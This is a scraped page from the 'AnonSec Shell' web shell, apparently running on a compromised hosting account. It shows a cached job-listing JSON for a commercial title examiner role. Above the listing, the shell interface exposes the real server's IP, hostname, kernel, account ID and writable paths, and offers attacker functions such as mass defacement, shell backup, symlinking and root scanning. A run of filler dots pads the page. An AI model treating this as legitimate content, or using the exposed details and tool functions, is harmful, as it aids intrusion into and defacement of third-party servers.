Booking Form

Category

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 77.37.53.135  /  Your IP : 216.73.216.152   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux nl-srv-web1124.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u964240598 ( 964240598)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u964240598/domains/kalsanspareparts.com/public_html/jobs/cache-data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/u964240598/domains/kalsanspareparts.com/public_html/jobs/cache-data/3491499822568958618.json
{"uid":"3491499822568958618","crypted":"RDV1L2RiVDBXR1hHWFcrZU00MytKcVVRMmc9PQ==","location":"Boston, MA","address":"20006 Huel Spur Apt. 849","zip":"15150","country":"US","title":"Commercial Title Examiner","slug":"commercial-title-examiner","sumary":"&nbsp;...improve. Together, we can achieve our vision of becoming the premier title and real estate services company. \r\n Stewart is a global real...&nbsp;&nbsp;...real estate transactions by searching public records and examining titles for properties to determine legal condition of property...&nbsp;","company":"Stewart Title Company","description":"<p><p> At Stewart, we know that success begins with great people. As a Stewart employee, you\u2019ll be joining a company that was named a 2024-2025 Best Company to Work For by U.S. News &amp; World Report, and a 2025 Top Workplace by USA Today. We are committed to helping you own, develop, and nurture your career. We invest in your career journey because we understand that as you grow, so does our company. And our priority is smart growth \u2013 by attaining the best people, investing in tools and resources that enable success, and creating a better home for all. <\/p><p> You will be part of an inclusive work environment that reflects the customers we serve. You\u2019ll be empowered to use your unique experiences, passion and skills to help our company and the communities we serve constantly evolve and improve. Together, we can achieve our vision of becoming the premier title and real estate services company. <\/p><p> Stewart is a global real estate services company, providing title insurance, settlement, underwriting, and lender services through our family of companies. To learn more about Stewart, visit <p> stewart.com\/about <\/p> . <p> More information can be found on <p> stewart.com <\/p> . Get title industry information and insights at <p> stewart.com\/insights <\/p> . Follow Stewart on <p> Facebook <\/p> @StewartTitleCo, on <p> Instagram <\/p> @StewartTitleCo and on <p> LinkedIn <\/p> @StewartTitle <p><p> Job Description <\/p><p> Job Summary <\/p> Provides Nationwide title services. Responsible for supporting real estate transactions by searching public records and examining titles for properties to determine legal condition of property title as part of production center, branch office, or member of a title team. <br> <br>  Job Responsibilities <ul><li> Compiles, investigates and examines public and tax records to determine liabilities and legal condition of the title and insurability of primarily commercial or industrial property title <\/li><li> Prepares accurate and comprehensive title commitments in accordance with company examining and policy procedures <\/li><li> Follows standard procedures and guidelines <\/li><li> Understands how assigned duties relate to others within the team and how the team integrates with related teams <\/li><li> Impacts own team through the quality of the support provided <\/li><li> Recognizes and solves typical problems; selects solutions from established options <\/li><li> Communicates moderately complex information in routine situations, typically within own team <\/li><li> Works under general supervision with limited ability to modify approach; Individual contributor having no supervisory responsibilities; manages own workload <\/li><li> Performs all other duties as assigned by management <\/li><\/ul> Education <ul><li> High school diploma required; Bachelor\u2019s preferred <\/li><\/ul> Experience <ul><li> Typically requires 2+ years of related work experience <\/li><\/ul><p> Equal Employment Opportunity Employer <\/p><p> Stewart is committed to ensuring that its online application process provides an equal employment opportunity to all job seekers, including individuals with disabilities. If you have a disability and need assistance or an accommodation in the application process, please contact us by email at <p> careers@stewart.com <\/p> . <p> Benefits <\/p><p> Stewart offers eligible employees a competitive benefits package that includes, but is not limited to a variety of health and wellness insurance options and programs, paid time off, 401(k) with company match, employee stock purchase program, and employee discounts. <\/p>","tags":"Full time, Work experience placement, Work at office, ","url_out":"https:\/\/jooble.org\/desc\/3491499822568958618?ckey=title-examiner&rgn=-1&pos=12&groupId=1863&elckey=3053369286140100954&pageType=20&p=1&sid=-7189629553849956964&jobAge=17&relb=100&brelb=100&bscr=12844.202570448822&scr=12844.202570448822&searchTestGroup=1_2_1&iid=5858297751113327891","salary":"","currency":"USD","pubDate":1767713440,"expDate":1770305440}

Anon7 - 2022
AnonSec Team